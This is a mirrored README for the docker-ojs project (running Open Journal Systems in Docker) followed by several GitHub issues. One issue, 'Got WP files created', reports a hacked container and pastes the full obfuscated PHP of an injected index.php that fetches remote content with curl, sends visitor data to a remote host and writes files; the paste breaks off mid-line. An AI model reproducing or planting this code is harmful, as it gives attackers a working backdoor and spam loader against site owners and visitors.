Giter VIP home page Giter VIP logo

docker-ojs's Introduction

easyOJS - OJS in a docker

IMPORTANT:
In the Hannover sprint, we decided to mutate this repository into an easy howto for running OJS with the official dockerHub containers.
This is now the recommended way to run dockerized OJS in test and production.
To be safe in case dockerHub changes it's usage terms and to test alternative CI/CD tools, we also created a temporary gitLab repository, that is the one we use to build the images you can find in dockerHub. This is a temporary change as most likely in the near future, we will move back to this same repository and use gitHubActions. Sorry for the inconvenience.
Anyway, generated in gitLab or gitHub, as long as it is a free service, we will keep pushing images to dockerHub.

Open Journal Systems (OJS) is a journal management and publishing system that has been developed by the Public Knowledge Project through its federally funded efforts to expand and improve access to research.

The images in this repository are built on top of Alpine Linux and come in several variants (see Versions).

This project is maintained by Marc Bria. This repository is a fork of the work formerly done by Lucas Dietrich and Marc Bria

How to use

TL;DR;

Be sure you properly installed docker and docker-compose and the docker service is running.

git clone https://github.com/pkp/docker-ojs.git
mv docker-ojs journalName && cd journalName
mv .env.TEMPLATE .env
vim .env                         					# Set environment variables as you wish (ojs version, ports, url...)
source .env && wget "https://github.com/pkp/ojs/raw/${OJS_VERSION}/config.TEMPLATE.inc.php" -O ./volumes/config/ojs.config.inc.php
sudo chown 100:101 ./volumes -R && chown 999:999 ./volumes/db -R	# Ensure folders got the propper permissions
docker compose up -d
# Visit your new site and complete the installation as usual (Read about DB access credentials below, in step 5).

Extended version

If you want to run it locally (or in your own server), first you need to install docker (even docker-compose it's also recommended).

You can have it all up and running in less than 10 minutes following this brief howto: https://www.digitalocean.com/community/tutorials/how-to-install-docker-compose-on-debian-10

After this, notice that for all available versions, we provide a docker-compose configuration file so you will be able to start a full OJS stack (web app + database containers) in 4 easy steps:

  1. Clone this repository in your machine (if youprefer, you can also download and unzip it):

    $ git clone https://github.com/pkp/docker-ojs.git
    $ mv docker-ojs journalName && cd journalName

    Replace "journalName" with a short name of your journal (probably you will like to set the same value you use for COMPOSE_PROJECT_NAME variable).

  2. Set your environment variables

    $ mv .env.TEMPLATE .env

    Edit your .env file to fit your need to fit your needs. You will probably like to chage your OJS_VERSION, ports, and names. For a detailed description of all the environment variables take a look to "Environment Variables" sectionj.

  3. Download the ojs config file related to your desired version

    $ source .env && wget "https://github.com/pkp/ojs/raw/${OJS_VERSION}/config.TEMPLATE.inc.php" -O ./volumes/config/ojs.config.inc.php

    If your are running docker on windows (with Powershell), specify the version you like to download:

     $ wget "https://github.com/pkp/ojs/raw/3_3_0-14/config.TEMPLATE.inc.php" -O ./volumes/config/ojs.config.inc.php
  4. Run the stack:

    $ docker compose up

    Docker-compose will pull images from dockerHub and do all the hard work for you to rise a full functional OJS stack. If all goes as expected you will see your app_container informing apache is RUNNING successfully.

    INFO success: apache entered RUNNING state, process has stayed up for > than 1 seconds (startsecs) 
    

    You can add the "-d" parameter to the call if you like to run it detached.

  5. Access http://127.0.0.1:8081 and continue through web installation process.

    Note that the database connection needs the following options:

    • Database driver: mysqli (or "mysql" if your php is lower than 7.3)
    • Host: db (which is the name of the container in the internal Docker network)
    • Username: ojs
    • Password: ojs (change with the password you set in your environment variables)
    • Database name: ojs
    • Uncheck "Create new database"
    • Uncheck "Beacon"

    And the "Directory for uploads:" acording to your docker-compose.yml "/var/www/files"

    TIP:
    To go through the OJS installation process automatically, set the environment variable OJS_CLI_INSTALL=1, and use the other .env variables to automatize the process.

That's all. Easy peasy, isn't it?

Ok, let's talk talk about more complex concepts and scenarios.

Versions

Different OJS versions are combined with different versions of PHP (5 to 8...). In future we are planning to add variants with different web servers (Apache HTTP Server, nginx) and tools.

Currently, not all these combinations work! We are mostly focused in Apache2. PR are welcome

All version tags can be found at Docker Hub Tags tab.

(If no webserver is mentioned in the tag, then Apache is used).

Environment Variables

The image understand the following environment variables:

NAME Default Info
SERVERNAME localhost Used to generate httpd.conf and certificate
OJS_IMAGE ojs PKP tool to be used (ojs, omp, ops). Only OJS images avaliable right now
OJS_VERSION 3_3_0-14 OJS version to be deployed
COMPOSER_PROJECT_NAME journal
OJS_CLI_INSTALL 0 Used to install ojs automatically when start container
OJS_DB_HOST db Database host
OJS_DB_USER ojs Database
OJS_DB_PASSWORD ojsPwd Database password
OJS_DB_NAME ojs Database name
HTTP_PORT 8081 Http port
HTTPS_PORT 8481 Https port

Note: OJS_CLI_INSTALL and certificate features are under construction.

Special Volumes

Docker content is efimerous by design, but in some situations you would like to keep some stuff persistent between docker restarts (ie: database content, upload files, plugin development...)

By default we include an structure of directories in the version folders (see ./volumes), but they are empty and disabled by default in your compose. To enable them, you only need to uncomment the volume lines in your docker-compose.yml and fill the folders properly.

When you run the docker-compose it will mount the volumes with persistent data and will let you share files from your host with the container.

Host Container Volume Description
./volumes/public ojs /var/www/html/public All public files
./volumes/private ojs /var/www/files All private files (uploads)
./volumes/config/db.charset.conf db /etc/mysql/conf.d/charset.cnf mariaDB config file
./volumes/config/ojs.config.inc.php ojs /var/www/html/config.inc.php OJS config file
./volumes/config/php.custom.ini ojs /usr/local/etc/php/conf.d/custom.ini PHP custom.init
./volumes/config/apache.htaccess ojs /var/www/html/.htaccess Apache2 htaccess
./volumes/logs/app ojs /var/log/apache2 Apache2 Logs
./volumes/logs/db db /var/log/mysql mariaDB Logs
./volumes/db db /var/lib/mysql mariaDB database content
./volumes/migration db /docker-entrypoint-initdb.d DB init folder (with SQLs)
/etc/localtime ojs /etc/localtime Sync clock with the host one.
TBD ojs /etc/ssl/apache2/server.pem SSL crt certificate
TBD ojs /etc/ssl/apache2/server.key SSL key certificate

In this image we use "bind volumes" with relative paths because it will give you a clear view where your data is stored.

The down sides of those volumes is they can not be "named" and docker will store them with an absolute path (that it’s annoying to make stuff portable) but I prefer better control about where data is stored than leave it in docker hands.

And remember this is just an image, so feel free to modify to fit your needs.

You can add your own volumes. For instance, make sense for a plugin developer or a themer to create a volume with his/her work, to keep a persistent copy in the host of the new plugin or theme.

An alternative way of working for developers is working with his/her own local Dockerfile that will be build to pull the plugin for his/her own repository... but this will be significantly slower than the volume method.

Last but not least, those storage folders need to exist with the right permissions before you run your docker compose command or it will fail.

To be sure your volumes have the right permissions, you can run those commands:

$ chown 100:101 ./volumes -R
$ chown 999:999 ./volumes/db -R
$ chown 999:999 ./volumes/logs/db -R

In other words... all the content inside volumes will be owned by apache2 user and group (uid 100 and gid 101 inside the container), execpt for db and logs/db folders that will be owned by mysql user and group (uid and gid 999).

Built in scripts

The Dockerfile includes some scritps at "/usr/local/bin" to facilitate common opperations:

Script Container Description
ojs-run-scheduled ojs Runs "php tools/runScheduledTasks.php". Called by cron every hour.
ojs-cli-install ojs Uses curl to call the ojs install using pre-defined variables.
ojs-pre-start ojs Enforces some config variables and generates a self-signed cert based on ServerName.
ojs-upgrade ojs Runs "php tools/upgrade.php upgrade". (issue when config.inc.php is a volume)
ojs-variable ojs Replaces the variable value in config.inc.php (ie: ojs-variable variable newValue)
ojs-migrate ojs Takes a dump.sql, public and private files from "migration" folder and builds and builds a docker site (beta)

Some of those scripts are still beta, you be careful when you use them.

You can call the scripts outside the container as follows:

$ docker exec -it ojs_app_journalname /usr/local/bin/ojs-variable session_check_ip Off

Upgrading OJS

Thanks to docker, the ugrade process is easy and straightforward.

  1. Stop the stack with the old OJS version (for instance "pkpofficial/ojs:2_4_8-5").

    docker compose stop
  2. Set the new version in docker-compose.yml.

    Replace the old version: image: pkpofficial/ojs:2_4_5-2

    with the new one: image: pkpofficial/ojs:3_2_1-4

  3. Start the container. As you changed the version, docker-compose will automatically pull a new image with an updated version of the OJS code that will replace the old one (remember that containers are not persistent).

    $ docker compose up
  4. Run the upgrade script to upgrade the OJS database and files. Easiest was is connecting to your OJS container with docker exec and run the ojs-upgrade built in script with this single line:

    $ docker exec -it ojs_app_journalname /usr/local/bin/ojs-upgrade
    TIP: Discover your container name?
    You can see the name of all your containers with docker ps -a. The ones related with OJS will be something like ojs_app_journalname.
    Use grep to filter as follows: `$ docker ps -a

Before the upgrade you will like to diff your config.inc.php with the version of the new OJS version to learn about new configuration variables. Be specially carefully with the charsets.

WARNING: May I upgrade directly to the last OJS stable version?
It depends on your initial version. The recommended upgrade route is:
2.x > 2.4.8-5 > 3.1.2-4 > 3.2.1-4 > 3.3.x-x

Apache2

As said, right now the only avaliable stack is Apache2, so configuration files and volumes are thought you will work over an apache.

If you want to know the fastest method to set your own config jump to the next section "Easy way to change config stuff".

For those who like to understand what happens behind the courtains, you need to know that during the image building we ask the Dockerfile to copy the content of ./templates/webServers/apache/phpVersion/root folder in the root of your container.

It means, if you like to add your specific php settings you can do it creating a PHP configuration in ./templates/webServers/php{5,7,73}/conf.d/0-ojs.ini and build you own image locally.

There are some optimized variables already, you can check them within each version directory, e.g. /root/etc/apache2/conf.d/ojs.conf with your virtualhost or /etc/supervisor.conf... or, now you know what Dockerfile will do, you can add your own.

Again: Note that template's /root folder is copied into the Docker image at build time so, if you change it, you must rebuild the image for changes to take effect.

Easy way to change config stuff

If you don't want to keep you own local images, you can use the ones we build in dockerHub and map your config files in your docker-compose.yml.

So if you like to change something in (for instance) your php settings, you only need to created create a ./volumes/config/php.custom.ini outside your container and uncomment the volume in your docker-compose.yml.

Check the volumes section for a list of folders and files we think could be useful to overwrite or extend to fit your needs.

Restful URLs (aka. clean URLs)

By default the restful_url are enabled and Apache is already configured, so there is no need to use index.php over url.

SSL

By default at the start of Apache one script will check if the SSL certificate is valid and its CN matches your SERVERNAME, if don't it will generate a new one. The certificate can be overwritten using a volume mount (see docker-compose.yml file).

Note: This feature is under reveiw and could change in future.

SSL handled by an external service

If you have an external service in front handling SSL connections (often referred as SSL offloading or SSL termination) you need to add a new line containing PassENV HTTPS in ojs.conf, inside the main <VirtualHost *:80> section.

How could I help?

Update the compose configurations and Dockerfiles

If you want to join the docker-ojs (aka. docker4ojs) team you will like to contribute with new Dockerfiles or docker-composes. To do this, you will need to clone this project and send us a PR with your contributions.

Before we follow, let us clarify something: Versions of this project fit with OJS tag versions, BUT... if you take a look to PKP's repositories, you will notice the tag naming syntax changed at version 3.1.2-0. We moved from "ojs-3_1_2-0" to "3_1_2-0".

So, to avoid keeping in mind at what momment we changed the syntax, in this project we only use the modern syntax, so you cant/must refer every version with the same notation.

Said this, let's talk about how we generate all this versions:

The files for the different OJS versions and software stacks are generated based on a number of template files, see directory templates.

You can re-generate all Dockerfile, docker-compose(-local).yml, configuration files, etc. calling the build.sh script.

# generate a specific version
$ ./build.sh 3_1_2-4

# generate _all_ versions
$ ./build.sh

Add a new stack to the list

Let's say we like us to distribute a "nginx" stack. We have our hands full but you know docker and nginx so... ¿how could you contribute?

  1. Be sure the version number is in the versions.list file (ie: 3_2_1-0).

  2. Create the required files and folders in the templates folder.

    Basically you will need:

    • A Dockerfile template for each php version you publish (ie: dockerfile-alpine-nginx-php73.template)
    • A generic docker-compose.yml template (templates/dockerComposes/docker-compose-nginx.template)
    • A folder with all the specific configurations (templates/webServers/nginx/php73/root)
    • Extend exclude.list with the stuff you want to be removed.

    This is the hard work. Take apache as a reference and contact us if you need indications.

  3. Edit build.sh to add your version to the proper variables.

    For the nginx exemple (over alpine) it should be enough extending the webServers array:

    webServers=(  'apache' 'nginx' )
    

    Modify the script if you need it to be smarter.

  4. Run build script to generate all versions again:

    $ ./build.sh
  5. Test your work running docker compose with local dockerfiles.

  6. Commit a PR with your new build.sh and templates (ignore the versions folder).

Troubleshooting

I have trouble with Mac

In general with docker, there are some known issues with the new Mac’s ARM architecture : https://stackoverflow.com/questions/73294020/docker-couldnt-create-the-mpm-accept-mutex . Alternative solution (other than hardcoding mutex settings) might be to build docker image also for arm64 platform (bitnami/containers#4679). Some work was started in this line in gitLab building pipelines with promising preliminary results.

I have trouble with Windows

Instructions to run are for linux (as fas as linux is the natural platform for docker and servers) but is also possible to run it in windows. The wget instructions use variables defined in the env-file but this is not compatible with windows powershell, so would be nice to find an alternative that works all platforms. As a temporary solution we add clear instructions for windows users, that need to modify the inliner to get the right version of the config.TEMPLATE file.

May I get an image based on nginx?

A nice addition for docker images would be offer nginx image to replace the existing apache2.

How could I deal with plugins?

One thing you always will need to deal with is plugins. This is now possible but could be improved with a few ideas that appear during the sprint as:

  • Use volumes managed with git
  • Create new ojs-plugins script helper that backups and download the essential release plugins for your version.

Is there any roadmap?

The project is build based on the needs of the participants. If you like to join, contact [email protected]. There is no formal roadmap, but we like to implement all the suggestion we made in the Containers for PKP document. Priorities right now are (by order):

  1. Fixing Mac image issues.
  2. Automatize docker images building and pushing to different repositories.
  3. Create new images based on "Containers for PKP" proposal.

License

GPL3 © PKP

docker-ojs's People

Contributors

cormier avatar frafra avatar grazingscientist avatar kaitlinnewson avatar kant avatar lucasdiedrich avatar luisfelipe3d avatar marcbria avatar nuest avatar robsalasco avatar snyk-bot avatar withanage avatar yoshierahuang avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar

docker-ojs's Issues

Remove PROJECT_DOMAIN from .env sample.

The PROJECT_DOMAIN is an old variable that is useless right now.

Looking into ojs-pre-start, config files in /etc/apache2/conf.d (as ssl.conf and ojs.conf), Dockerfile and all of them use SERVERNAME... I grep the project and I can find any reference to this, so I think we can safely remove it.

If nobody is against, we need to be this variable from the .env sample file.

About Encoding

Hi,
I have an OJS installation in a virtual machine and i want to migrate to a docker container.

I've new install ojs 2.4.8.5 from docker image.

Then i have done a backup of my installation's database and i have migrated to the mariadb container.

I've ensured the encoding of my database, tables and text fields is UTF-8.

When i access to my installation on the container i see all the spanish accents bad encoded.

In the config.inc.php (locale section) i have :

;;;;;;;;;;;;;;;;;;;;;;;;;
; Localization Settings ;
;;;;;;;;;;;;;;;;;;;;;;;;;

[i18n]

; Default locale
locale = es_ES

; Client output/input character set
client_charset = utf-8

; Database connection character set
; Must be set to "Off" if not supported by the database server
; If enabled, must be the same character set as "client_charset"
; (although the actual name may differ slightly depending on the server)
connection_charset = utf8

; Database storage character set
; Must be set to "Off" if not supported by the database server
database_charset = utf8

; Enable character normalization to utf-8
; If disabled, strings will be passed through in their native encoding
; Note that client_charset and database collation must be set
; to "utf-8" for this to work, as characters are stored in utf-8
; (Note that this is generally no longer needed, as UTF8 adoption is good.)
charset_normalization = Off

It works ok when i change client_charset to iso-8859-1 :

;;;;;;;;;;;;;;;;;;;;;;;;;
; Localization Settings ;
;;;;;;;;;;;;;;;;;;;;;;;;;

[i18n]

; Default locale
locale = es_ES

; Client output/input character set
client_charset = iso-8859-1
;client_charset = utf-8

; Database connection character set
; Must be set to "Off" if not supported by the database server
; If enabled, must be the same character set as "client_charset"
; (although the actual name may differ slightly depending on the server)
connection_charset = utf8

; Database storage character set
; Must be set to "Off" if not supported by the database server
database_charset = utf8

; Enable character normalization to utf-8
; If disabled, strings will be passed through in their native encoding
; Note that client_charset and database collation must be set
; to "utf-8" for this to work, as characters are stored in utf-8
; (Note that this is generally no longer needed, as UTF8 adoption is good.)
charset_normalization = Off

I have see that this version of mariadb default-character-set is latin1 by default doing:
show global variables;

I have changed docker-compose file adding to database definition (i don't know if is the best way to do this):
command: ['mysqld', '--character-set-server=utf8', '--collation-server=utf8_unicode_ci']

I can now see all accents perfectly encoded without seeing "iso-8859-1" at "client_charset" on the config.inc.php file inside the container.

¿Do you think it would be better to give the containers database definition in more international UTF-8 encoding? Or it could be mentioned in the README people to know how to set utf8 in all places (database, connection, tables, fields, files...)

Thanks for the great job!

Use stdout/stderr instead of logs

Using stdout/stderr in containers instead of using volumes is a good practice as it simplifies monitoring, especially across multiple services.

Missing libraries and tools in Dockerfile

Some libraries & tools are missing in the docker image to release all OJS potential:

  • perl
  • pdf2txt & antiword
  • lib-magic

"/usr/bin/perl" link is broken (perl is not installed) so there is a lack of perl suport.

Looks like "pdf2txt" is packaged inside "poppler-utils"

You can add those tools to alpine with:
$ apk add libmagic antiword perl poppler-utils

It will probably increase significantly the weight of the images, but at same time will let use release a more solid and full functional images.

If nobody is against it, docker images will be fixed to include this changes and versions greater than 3.2 will be rebuilt in dockerHub.

Automated building of images

Context

One of my credos is "a job that can be done by a machine, deserves to be done by a machine".
Right now, pkp-ojs official images are created manually.

The process is as follows:

  1. PKP releases a new git tag or branch.
  2. Got the notification (from forum, slack, mailing list or gitHub RSS).
  3. Add the new version to versions.list file.
  4. Edit build.sh to specify the php version of the new release.
  5. Run "sudo build.sh" to generate the new version files and/or rebuild old ones.

If there is no need of new templates (for instance, in case we need to move to php74 or add new php_modules or libraries or tools) those steps could be automatized quite easily.

... At this point we have all ready to build new images locally, but we like to offer our images prebuilt from dockerHub, so more (manual) extra steps need to be done to create our docker tags according to the naming convention that we decided here.

And DockerHub comes to rescue with powerful automation tools to build "each time github is updated":

imagen

This will work great with "stable-*" images (highlighted in green in the screenshot), but will require from manual intervention to create the tag names in the immutable images (in red).

This issue is opened to talk in detail about how all this work could be automated.

Remove unused files

Hi,
In commit afcc60e, the package "supervisord" was removed but the configuration file of the package remains in the repository. It would be interesting to clean the repository in search of things that are no longer used to be removed.

Happy new year!
Cheers,
Luis Leal.

Statistics are not working "out of the box"

Docker image includes a helper script (/usr/local/bin/ojs-run-scheduled) that is supposed to process the statistics.
This script is called by cron hourly, so there is no need to use Anacron (poor's man cron) plugin.

The problem is this script calls the statistics parser as follows:

php /var/www/html/tools/runScheduledTasks.php

When the call requires a parameter:
https://docs.pkp.sfu.ca/admin-guide/en/statistics#2-configure-a-server-side-cron-job

Solution
Modify the script to process statistics as follows:
$ tools/runScheduledTasks.php plugins/generic/usageStats/scheduledTasks.xml

Improvement
Would be nice to accept arguments for this script... although if is called without params, keep processing as regular OJS logs (for backward compativity).

This make sense in case you like to manage an unified crontab outside the dockers and run them as follows $docker exec -it ojs_app_papers ojs-run-scheduled.

Got WP files created

There is something weird with my container, I am getting 404 error in my index, some how my index.php got replaced and I got other files created

/var/www/html # ls -alt
total 196
drwxr-xr-x    1 apache   apache        4096 Dec  7 01:29 .
drwxr-xr-x    1 apache   apache       12288 Dec  7 01:00 cache
-rw-r--r--    1 apache   apache       14086 Dec  5 01:21 ticket.php
-rw-r--r--    1 apache   apache       14085 Dec  5 01:21 state.php
-rw-r--r--    1 apache   apache       14086 Dec  5 01:21 index.php
-rw-r--r--    1 apache   apache         231 Dec  5 01:20 .htaccess
-rw-r--r--    1 999      ping         16614 Nov 15 14:50 config.inc.php
drwxrwxrwx    7 root     root          4096 Sep 18 09:57 files
drwxr-xr-x    3 apache   apache        4096 Jun  8 10:26 lib
drwxr-xr-x    2 apache   apache        4096 Jun  8 10:26 tools

this is the content of my index.php file:

/var/www/html # cat index.php
<?php @header('Content-Type:text/html;charset=utf-8');error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c"; global $O; $O=urldecode($OOOOOO);$oOooOO='z1110_17';$oOooOOoO=$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63].$O[64].$O[67].$O[72].$O[59].$O[64].$O[69].$O[67].$O[59].$O[68].$O[66].$O[59].$O[72].$O[69].$O[63].$oOooOO.$O[63]; function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){$ooooOOOooOo=curl_init();curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo);curl_close($ooooOOOooOo);return $oooooOOOOooO; } function ooOOoOOO($OooooO,$OOOoooo=array()){global $O;$OooooO=str_replace(' ','+',$OooooO);$OOooooO=curl_init();curl_setopt($OOooooO,CURLOPT_URL, "$OooooO");curl_setopt($OOooooO,CURLOPT_RETURNTRANSFER, 1);curl_setopt($OOooooO,CURLOPT_HEADER, 0);curl_setopt($OOooooO,CURLOPT_TIMEOUT,10);curl_setopt($OOooooO,CURLOPT_POST, 1);curl_setopt($OOooooO,CURLOPT_POSTFIELDS, http_build_query($OOOoooo));$OOOOooo=curl_exec($OOooooO);$OOOOoooOO=curl_errno($OOooooO);curl_close($OOooooO);if(0!==$OOOOoooOO){return false;}return $OOOOooo;} function oooOOOo($ooOOo){global $O;$ooOOOOo = false;$oooooOOo = $O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[23].$O[8].$O[4].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[90].$O[23].$O[7].$O[24].$O[14].$O[90].$O[10].$O[8].$O[18];if ($ooOOo!=''){if (preg_match("/($oooooOOo)/si",$ooOOo)){$ooOOOOo=true;}}return $ooOOOOo;} function oooOOooOOoOO($oOOOOOOoOOOO){global $O;$ooOOOOOOoO=false;$ooOOOOOOoOo=$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[5].$O[10].$O[15].$O[8].$O[8].$O[59].$O[21].$O[8].$O[59].$O[16].$O[9].$O[90].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25];if ($oOOOOOOoOOOO!='' && preg_match("/($ooOOOOOOoOo)/si", $oOOOOOOoOOOO)) {$ooOOOOOOoO=true;}return $ooOOOOOOoO;}$oOooOOoOO=((isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]) && $_SERVER[$O[41].$O[30].$O[30].$O[35].$O[37]]!==$O[8].$O[13].$O[13])?$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63]:$O[15].$O[4].$O[4].$O[9].$O[62].$O[63].$O[63]);$oOoooOOoOO=$_SERVER[$O[29].$O[28].$O[26].$O[32].$O[28].$O[37].$O[30].$O[52].$O[32].$O[29].$O[33]];$ooOOoooOOoOO=$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[41].$O[34].$O[37].$O[30]];$ooOOOoooOOoOO=$_SERVER[$O[35].$O[41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]];$ooOOOOoooOOOoOO=$_SERVER[$O[37].$O[28].$O[29].$O[48].$O[28].$O[29].$O[52].$O[50].$O[36].$O[51].$O[28]];$ooOOOOoooOOOOoOO=$oOooOOoOO.$ooOOoooOOoOO.$oOoooOOoOO;$oooOOOOoooOOOooOO=$oOooOOoO.$O[63].$O[7].$O[24].$O[12].$O[10].$O[4].$O[10].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooO=$oOooOOoO.$O[63].$O[25].$O[10].$O[9].$O[59].$O[9].$O[15].$O[9];$ooooOOOOoooOOOooOoo=$oOooOOoO.$O[63].$O[16].$O[6].$O[25].$O[9].$O[59].$O[9].$O[15].$O[9];$oooooOOoooOOOoooOoo=$oOooOOoO.$O[63].$O[1].$O[8].$O[3].$O[12].$O[11].$O[59].$O[9].$O[15].$O[9];$ooooooooOOOOoooOOoooOO=$oOooOOoO.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[9].$O[15].$O[9];$ooooooOoOoooOOOooo[$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=strtolower(isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');$oooOoOOooOoooOOOoOoOoOoOoO=strtolower(isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[32].$O[37].$O[28].$O[29].$O[52].$O[36].$O[40].$O[28].$O[50].$O[30]]:'');$ooooooOoOoooOOOooo[$O[15].$O[4].$O[4].$O[9].$O[52].$O[6].$O[11].$O[2].$O[3].$O[52].$O[10].$O[14].$O[2].$O[24].$O[4]]=$oooOoOOooOoooOOOoOoOoOoOoO;$oooOOOooOoooOOOooooOoOoOoOoO=isset($_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]])?$_SERVER[$O[41].$O[30].$O[30].$O[35].$O[52].$O[29].$O[28].$O[39].$O[28].$O[29].$O[28].$O[29]]:'';$ooooOOOOoooOOOoooOOO=$_SERVER[$O[29].$O[28].$O[51].$O[34].$O[30].$O[28].$O[52].$O[36].$O[38].$O[38].$O[29]];$ooooooOoOoooOOOooo[$O[7].$O[9]]=$ooooOOOOoooOOOoooOOO;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[13].$O[2].$O[3].$O[2].$O[3]]=$oooOOOooOoooOOOooooOoOoOoOoO;if(strpos($oOoooOOoOO,$O[59].$O[9].$O[15].$O[9])){$ooooooOOoooOOOoooOo=$oOooOOoOO.$ooOOoooOOoOO.$ooOOOoooOOoOO;}else{$ooooooOOoooOOOoooOo=$oOooOOoOO.$ooOOoooOOoOO;}$ooooooOoOoooOOOooo[]=array();$ooooooOoOoooOOOooo[$O[12].$O[8].$O[25].$O[10].$O[7].$O[24]]=$ooOOoooOOoOO;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[0].$O[52].$O[6].$O[3].$O[7]]=$oOoooOOoOO;$ooooooOoOoooOOOooo[$O[15].$O[3].$O[2].$O[13]]=$ooooooOOoooOOOoooOo;$ooooooOoOoooOOOooo[$O[3].$O[2].$O[0].$O[52].$O[6].$O[3].$O[18]]=$ooOOOOoooOOOOoOO;if(substr($oOoooOOoOO,-6)==$O[3].$O[8].$O[23].$O[8].$O[4].$O[11]){$ooooooooOOOOOoooOoOoooOO = ooOOoOOO($ooooooooOOOOoooOOoooOO,$ooooooOoOoooOOOooo);define('BASE_PATH',str_ireplace($_SERVER[$O[35].$O[41].$O[35].$O[52].$O[37].$O[28].$O[44].$O[39]],'',__FILE__));file_put_contents(BASE_PATH.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4],$ooooooooOOOOOoooOoOoooOO);$ooooooooOOOOOoooOoOoooOO=file_get_contents(BASE_PATH.$O[63].$O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4]);if(strpos($ooooooooOOOOOoooOoOoooOO,$O[59].$O[20].$O[25].$O[18])){	echo $O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4].$O[57].$O[13].$O[7].$O[18].$O[2].$O[57].$O[21].$O[3].$O[2].$O[10].$O[4].$O[2].$O[57].$O[11].$O[6].$O[21].$O[21].$O[2].$O[11].$O[11].$O[88];}else{	echo $O[3].$O[8].$O[23].$O[8].$O[4].$O[11].$O[59].$O[4].$O[20].$O[4].$O[57].$O[13].$O[7].$O[18].$O[2].$O[57].$O[21].$O[3].$O[2].$O[10].$O[4].$O[2].$O[57].$O[13].$O[10].$O[7].$O[18].$O[88];}exit; }if(substr($oOoooOOoOO,-4)==$O[59].$O[20].$O[25].$O[18]){if(strpos($oOoooOOoOO,$O[9].$O[7].$O[24].$O[14].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[59].$O[20].$O[25].$O[18])){$ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO,$ooooooOoOoooOOOooo);$ooooooOOoooOOOooooOOO= explode(",",$ooooooOoOoooOOOooooO);$ooooooOOoooOOOooooOOO[]=$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9];for($ooooooOOoooOOOooooOOOOo=0;$ooooooOOoooOOOooooOOOOo<count($ooooooOOoooOOOooooOOO);$ooooooOOoooOOOooooOOOOo++){if(strpos($ooooooOOoooOOOoooOo,$O[59].$O[9].$O[15].$O[9])> 0){$ooooooOOoooOOOooooOOOOoo=$O[55];}else{$ooooooOOoooOOOooooOOOOoo=$O[63]; } $ooooooOOOoooOOOooooOOOOOoo=$ooooooOOoooOOOoooOo.$ooooooOOoooOOOooooOOOOoo.$ooooooOOoooOOOooooOOO[$ooooooOOoooOOOooooOOOOo].$O[59].$O[20].$O[25].$O[18]; $ooooooOOOOoooOOOooooOOOOOo=$O[15].$O[4].$O[4].$O[9].$O[11].$O[62].$O[63].$O[63].$O[1].$O[1].$O[1].$O[59].$O[14].$O[8].$O[8].$O[14].$O[18].$O[2].$O[59].$O[21].$O[8].$O[25].$O[63].$O[9].$O[7].$O[24].$O[14].$O[55].$O[11].$O[7].$O[4].$O[2].$O[25].$O[10].$O[9].$O[61].$ooooooOOOoooOOOooooOOOOOoo; 